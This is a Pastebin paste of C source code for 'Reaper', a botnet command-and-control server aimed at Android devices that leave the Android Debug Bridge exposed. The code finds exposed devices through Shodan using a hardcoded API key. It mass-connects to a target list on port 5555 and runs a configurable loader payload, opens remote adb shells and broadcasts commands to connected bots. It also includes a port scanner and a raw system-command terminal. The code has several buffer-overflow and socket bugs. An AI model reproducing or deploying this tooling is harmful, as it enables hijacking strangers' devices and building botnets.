Advertisement
FlyFar

reaper.c

Jan 17th, 2024
729
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 16.81 KB | Cybersecurity | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <netdb.h>
  5. #include <fcntl.h>
  6. #include <pthread.h>
  7. #include <sys/stat.h>
  8. #include <sys/types.h>
  9. #include <curl/curl.h>
  10. #include <arpa/inet.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <netinet/in.h>
  14.  
  15. #define ADB_PAYLOAD "" // Edit this if you would like to use the built-in loader
  16. #define BUFFER_SIZE 2000
  17. #define SHODAN_KEY "PSKINdQe1GyxGgecYz2191H2JoS9qvgD" // You can change this if you want!
  18.  
  19. #define IP_ADDR "0.0.0.0" // Edit this!
  20. #define PORT 1337 // Edit this!
  21.  
  22. #define PORT_START 1
  23. #define PORT_END 1024
  24.  
  25. unsigned int DEVICE_COUNT = 0;
  26. pthread_mutex_t lock;
  27.  
  28. // You change this if you want!
  29. const char ADMIN_ACCOUNT[64] = "admin";
  30. const char ADMIN_PASSWORD[64] = "reaper";
  31.  
  32. #define saddr struct sockaddr
  33.  
  34.  
  35. /*
  36. Reaper
  37. Date: 08/21/21
  38. Author: 0x1CA3
  39. */
  40.  
  41.  
  42. static void clear_screen(void) {
  43.     printf("\033[H\033[2J");
  44. }
  45.  
  46. static void ascii_banner(void) {
  47.     clear_screen();
  48.     puts("\e[0;32m          ..      ...                                                                  ");
  49.     puts("\e[0;32m       :~'8888x :'%888x                                                                ");
  50.     puts("\e[0;32m      8    8888Xf  8888>                          .d``                       .u    .   ");
  51.     puts("\e[0;32m     X88x. ?8888k  8888X       .u          u      @8Ne.   .u        .u     .d88B :@8c  ");
  52.     puts("\e[0;32m     '8888L'8888X  '%88X    ud8888.     us888u.   %%8888:u@88N    ud8888.  ='8888f8888r ");
  53.     puts("\e[0;32m      '888X 8888X:xnHH(`` :888'8888. .@88 '8888'   `888I  888. :888'8888.   4888>'88'  ");
  54.     puts("\e[0;32m        ?8~ 8888X X8888   d888 '88%%' 9888  9888     888I  888I d888 '88%%'   4888> '   ");
  55.     puts("\e[0;32m      -~`   8888> X8888   8888.+'    9888  9888     888I  888I 8888.+'      4888>      ");
  56.     puts("\e[0;32m      :H8x  8888  X8888   8888L      9888  9888   uW888L  888' 8888L       .d888L .+   ");
  57.     puts("\e[0;32m      8888> 888~  X8888   '8888c. .+ 9888  9888  '*88888Nu88P  '8888c. .+  ^'8888*'    ");
  58.     puts("\e[0;32m      48'` '8*~   `8888!`  '88888'   '888*''888'   '88888F'    '88888&&       ''      ");
  59.     puts("\e[0;32m       ^-==''      `''       'YP'     ^Y'   'Y'    '888' ^        'YP'                 ");
  60.     puts("\e[0;32m                                                    *8E                                ");
  61.     puts("\e[0;32m          [ Made by https://github.com/0x1CA3 ]     '8>                                ");
  62.     puts("\e[0;32m                                                                                       ");
  63. }
  64.  
  65. static void help_menu(void) {
  66.     puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
  67.     puts("        ║     help                                           Displays help commands              ║");
  68.     puts("        ║     bot                                            Displays bot commands               ║");
  69.     puts("        ║     adb                                            Displays ADB commands               ║");
  70.     puts("        ║     shodan                                         Displays shodan commands            ║");
  71.     puts("        ║     misc                                           Displays extra commands             ║");
  72.     puts("        ║     load                                           Starts a built-in loader for ADB    ║");
  73.     puts("        ║     terminal                                       Lets you execute system commands    ║");
  74.     puts("        ║     banner                                         Displays the banner                 ║");
  75.     puts("        ║     clear                                          Clears the screen                   ║");
  76.     puts("        ║     exit                                           Exits the botnet                    ║");
  77.     puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
  78. }
  79.  
  80. static void bot_menu(void) {
  81.     puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
  82.     puts("        ║     list                                           Displays the amount of bots         ║");
  83.     puts("        ║     send_command                                   Lets you send a command to all bots ║");
  84.     puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
  85. }
  86.  
  87. static void adb_menu(void) {
  88.     puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
  89.     puts("        ║     connect                                        Connects to the specified device    ║");
  90.     puts("        ║     cmd                                            Executes a command on that device   ║");
  91.     puts("        ║     shell                                          Opens a shell on the device         ║");
  92.     puts("        ║     restart                                        Restarts the ADB server             ║");
  93.     puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
  94. }
  95.  
  96. static void shodan_menu(void) {
  97.     puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
  98.     puts("        ║     search                                         Lets you lookup a specified device  ║");
  99.     puts("        ║     devices                                        Scans for vulnerable devices        ║");
  100.     puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
  101. }
  102.  
  103. static void misc_menu(void) {
  104.     puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
  105.     puts("        ║     iplookup                                       Does an IP lookup on a specified IP ║");
  106.     puts("        ║     portscan                                       Does a portscan on a specified IP   ║");
  107.     puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
  108. }
  109.  
  110. static void list_bots(void) {
  111.     printf("\nBots -> %d\n", DEVICE_COUNT);
  112. }
  113.  
  114. void terminal_cmd(void) {
  115.     char *buffer;
  116.     buffer = (char *)malloc(32 * sizeof(char));
  117.  
  118.     printf("\n\e[0;31m[!] To exit the terminal, use the 'quit' command! [!]");
  119.     while (1) {
  120.         printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Terminal ]");
  121.         printf("\n\e[0;31m╚═════════> ");
  122.        
  123.         scanf("%s", buffer);
  124.         if (strcmp(buffer, "quit") == 0) {
  125.             free(buffer);
  126.             break;
  127.         } else {
  128.             system(buffer);
  129.         }
  130.     }
  131. }
  132.  
  133. int ip_address_lookup(void) {
  134.     char ip_api_track[255] = "http://ip-api.com/json/";
  135.    
  136.     char *user_input;
  137.     user_input = (char *)malloc(32 * sizeof(char));
  138.  
  139.     printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter IP ]");
  140.     printf("\n\e[0;31m╚═════════> ");
  141.    
  142.     scanf("%s", user_input);
  143.     strcat(ip_api_track, user_input);
  144.  
  145.     CURL *load = curl_easy_init();
  146.     curl_easy_setopt(load, CURLOPT_CUSTOMREQUEST, "GET");
  147.     curl_easy_setopt(load, CURLOPT_URL, ip_api_track);
  148.    
  149.     struct curl_slist *bheaders = NULL;
  150.     bheaders = curl_slist_append(bheaders, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36");
  151.    
  152.     curl_easy_setopt(load, CURLOPT_HTTPHEADER, bheaders);
  153.     CURLcode devices = curl_easy_perform(load);
  154.     printf("\n\n");
  155.     free(user_input);
  156. }
  157.  
  158. int shodan_device_search(void) {
  159.     char *device;
  160.     device = (char *)malloc(32 * sizeof(char));
  161.            
  162.     printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter Device IP ]");
  163.     printf("\n\e[0;31m╚═════════> ");
  164.  
  165.     scanf("%s", device);
  166.    
  167.     char device_search_one[100] = "https://api.shodan.io/shodan/host/";
  168.     char device_search_two[100] = "?key=";
  169.    
  170.     strcat(device_search_one, device);
  171.     strcat(device_search_two , SHODAN_KEY);
  172.     strcat(device_search_one, device_search_two);
  173.  
  174.     CURL *loadr = curl_easy_init();
  175.    
  176.     curl_easy_setopt(loadr, CURLOPT_CUSTOMREQUEST, "GET");
  177.     curl_easy_setopt(loadr, CURLOPT_URL, device_search_one);
  178.    
  179.     struct curl_slist *bbheaders = NULL;
  180.     bbheaders = curl_slist_append(bbheaders, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36");
  181.    
  182.     curl_easy_setopt(loadr, CURLOPT_HTTPHEADER, bbheaders);
  183.     CURLcode devices = curl_easy_perform(loadr);
  184.    
  185.     printf("\n\n");
  186.     free(device);
  187. }
  188.  
  189. int scanner_shodan(void) {
  190.     char vuln_url_one[255] = "https://api.shodan.io/shodan/host/count?key=";
  191.     char vuln_url_two[255] = "&query=android+debug+bridge";
  192.    
  193.     strcat(vuln_url_one, SHODAN_KEY);
  194.     strcat(vuln_url_one, vuln_url_two);
  195.  
  196.     CURL *load = curl_easy_init();
  197.     curl_easy_setopt(load, CURLOPT_CUSTOMREQUEST, "GET");
  198.     curl_easy_setopt(load, CURLOPT_URL, vuln_url_one);
  199.    
  200.     struct curl_slist *bheaders = NULL;
  201.     bheaders = curl_slist_append(bheaders, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36");
  202.    
  203.     curl_easy_setopt(load, CURLOPT_HTTPHEADER, bheaders);
  204.     CURLcode devices = curl_easy_perform(load);
  205.     printf("\n\n");
  206. }
  207.  
  208. void loader_scan(char line[5000]) {
  209.     char line_loader_before[15] = "adb connect ";
  210.     char line_loader_after[15] = ":5555";
  211.    
  212.     strcat(line, line_loader_after);
  213.     strcat(line_loader_before, line);
  214.    
  215.     system("adb start-server");
  216.     system(line_loader_before);
  217.    
  218.     system(ADB_PAYLOAD);
  219.     system("adb kill-server");
  220. }
  221.  
  222. void loader_adb(void) {
  223.     FILE *loader_file;
  224.     char line[5000];
  225.    
  226.     char *user_input;
  227.     user_input = (char *)malloc(32 * sizeof(char));
  228.    
  229.     printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter List (Example: List.txt) ]");
  230.     printf("\n\e[0;31m╚═════════> ");
  231.    
  232.     scanf("%s", user_input);
  233.     loader_file = fopen(user_input, "r");
  234.    
  235.     if (loader_file == NULL) {
  236.         printf("[!] Error, file was not found! [!]");
  237.     } else {
  238.         while (fgets(line, sizeof(line), loader_file) != NULL) {
  239.             loader_scan(line);
  240.         }
  241.     }
  242. }
  243.  
  244. void scanner(void) {
  245.     int fd, connection;
  246.    
  247.     char *ipscan;
  248.     ipscan = (char *)malloc(32 * sizeof(char));
  249.  
  250.     printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter IP ]");
  251.     printf("\n\e[0;31m╚═════════> ");
  252.    
  253.     scanf("%s", ipscan);
  254.     struct sockaddr_in s;
  255.  
  256.     s.sin_family = AF_INET;
  257.     s.sin_addr.s_addr = inet_addr(ipscan);
  258.  
  259.     puts(""
  260.     "\n[+] Open Ports [+]"
  261.     "\n\n------------------");
  262.     for (int i = PORT_START; i <= PORT_END; i++) {
  263.         s.sin_port = htons(i);
  264.         connection = connect(fd, (struct sockaddr *)&s, sizeof(s));
  265.         if (connection < 0) {
  266.             printf("");
  267.         } else {
  268.             printf("Port -> %d\n", i);
  269.         }
  270.     }
  271.     free(ipscan);
  272. }
  273.  
  274. void *handle_connection(void *connection) {
  275.     cnc(*(int *)connection);
  276.     pthread_exit(NULL);
  277.     return NULL;
  278. }
  279.  
  280. struct function {
  281.     const char *shell;
  282.     int (*function)(void);
  283. };
  284.  
  285. struct function botnet_commands[] = {
  286.     {"?", help_menu},
  287.     {"help", help_menu},
  288.     {"bot", bot_menu},
  289.     {"adb", adb_menu},
  290.     {"load", loader_adb},
  291.     {"shodan", shodan_menu},
  292.     {"misc", misc_menu},
  293.     {"banner", ascii_banner},
  294.     {"list", list_bots},
  295.     {"devices", scanner_shodan},
  296.     {"portscan", scanner},
  297.     {"iplookup", ip_address_lookup},
  298.     {"search", shodan_device_search},
  299.     {"terminal", terminal_cmd},
  300.     {"clear", clear_screen},
  301. };
  302.  
  303. enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};
  304.  
  305. int handler(char shell[BUFFER_SIZE]) {
  306.     for (int i = 0; i < commands_amount; i++) {
  307.         if (strstr(shell, botnet_commands[i].shell)) {
  308.             return (*botnet_commands[i].function)();
  309.         }
  310.     }
  311. }
  312.  
  313. void cnc(int fd) {
  314.     int k;
  315.     int w_buf;
  316.     char shell[BUFFER_SIZE];
  317.    
  318.     while (1) {
  319.         pthread_mutex_lock(&lock);
  320.        
  321.         printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Administrator ]");
  322.         printf("\n\e[0;31m╚═════════> ");
  323.        
  324.         w_buf = 0;
  325.         bzero(shell, BUFFER_SIZE);
  326.        
  327.         while ((shell[w_buf++] = getchar()) != '\n');
  328.        
  329.         if (strncmp("send_command", shell, 12) == 0) {
  330.             k = 0;
  331.            
  332.             char data_send[1024];
  333.             bzero(data_send, 1024);
  334.  
  335.             printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter Command ]");
  336.             printf("\n\e[0;31m╚═════════> ");
  337.            
  338.             while ((data_send[k++] = getchar()) != '\n');
  339.            
  340.             for (int i = 0; i <= DEVICE_COUNT; i++) {
  341.                 pthread_mutex_unlock(&lock);
  342.                 if (write(fd, data_send, sizeof(data_send)) == -1) {
  343.                     DEVICE_COUNT--;
  344.                 }
  345.                 pthread_mutex_lock(&lock);
  346.             }
  347.             printf("\n[Data Successfully sent!]\n");
  348.         } else if (strncmp("connect", shell, 7) == 0) {
  349.             char adb_con_before[15] = "adb connect ";
  350.             char adb_con_after[15] = ":5555";
  351.            
  352.             char *adb_connect_ip;
  353.             adb_connect_ip = (char *)malloc(32 * sizeof(char));
  354.            
  355.             printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter IP ]");
  356.             printf("\n\e[0;31m╚═════════> ");
  357.             scanf("%s", adb_connect_ip);
  358.            
  359.             strcat(adb_con_before, adb_connect_ip);
  360.             strcat(adb_con_before, adb_con_after);
  361.            
  362.             system(adb_con_before);
  363.             free(adb_connect_ip);
  364.         } else if (strncmp("cmd", shell, 3) == 0) {
  365.             char adb_shell_before[15] = "adb shell ";
  366.            
  367.             char *adb_cmd;
  368.             adb_cmd = (char *)malloc(32 * sizeof(char));
  369.  
  370.             printf("\n\e[0;31m╔═[ Reaper@Net ]═[ Enter Command ]");
  371.             printf("\n\e[0;31m╚═════════> ");
  372.            
  373.             scanf("%s", adb_cmd);
  374.             strcat(adb_shell_before, adb_cmd);
  375.  
  376.             system(adb_shell_before);
  377.             free(adb_cmd);
  378.         } else if (strncmp("shell", shell, 5) == 0) {
  379.             printf("\nRemember, to exit, just use the 'exit' command.");
  380.             system("adb shell");
  381.         } else if (strncmp("restart", shell, 7) == 0) {
  382.             system("adb kill-server");
  383.             system("adb start-server");
  384.         } else if (strncmp("exit", shell, 4) == 0) {
  385.             break;
  386.         } else {
  387.             handler(shell);
  388.         }
  389.         pthread_mutex_unlock(&lock);
  390.         sleep(1);
  391.     }
  392.     pthread_mutex_unlock(&lock);
  393. }
  394.  
  395. int server(void) {
  396.     int i = 0;
  397.    
  398.     int fd;
  399.     int len;
  400.     int connection;
  401.    
  402.     struct sockaddr_in sv, hh;
  403.     bzero(&sv, sizeof(sv));
  404.  
  405.     sv.sin_family = AF_INET;
  406.     sv.sin_addr.s_addr = inet_addr(IP_ADDR);
  407.     sv.sin_port = htons(PORT);
  408.  
  409.     fd = socket(AF_INET, SOCK_STREAM, 0);
  410.  
  411.     bind(fd, (saddr *)&sv, sizeof(sv));
  412.     listen(fd, 5);
  413.    
  414.     len = sizeof(hh);
  415.    
  416.     pthread_t thread[150];
  417.     pthread_mutex_init(&lock, NULL);
  418.    
  419.     while(1) {
  420.         connection = accept(fd, (saddr *)&hh, &len);
  421.         DEVICE_COUNT++;
  422.         pthread_create(&thread[i++], NULL, handle_connection, &connection);
  423.     }
  424. }
  425.  
  426. int main(void) {
  427.     ascii_banner();
  428.    
  429.     char *username;
  430.     char *password;
  431.  
  432.     username = (char *)malloc(32 * sizeof(char));
  433.     password = (char *)malloc(32 * sizeof(char));
  434.  
  435.     printf("\n\e[0;31m[Username]#> ");
  436.     scanf("%s", username);
  437.     if (strcmp(username, ADMIN_ACCOUNT) == 0) {
  438.         printf("\n\e[0;31m[Password]#> ");
  439.         scanf("%s", password);
  440.         if (strcmp(password, ADMIN_PASSWORD) == 0) {
  441.             printf("\n[Authenticated Successfully!]\n");
  442.             printf("\n[!] Before you can access the interface, you must have atleast one device connected. [!]\n");        
  443.             free(username);
  444.             free(password);
  445.             server();
  446.         } else {
  447.             printf("\n[Incorrect username or password!]");
  448.         }
  449.     } else {
  450.         printf("\n[Password]#> ");
  451.         scanf("%s", username);
  452.         printf("\n[Incorrect username or password!]");
  453.     }
  454.     free(username);
  455.     free(password);
  456.     EXIT_SUCCESS;
  457. }
Tags: botnet ADB
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement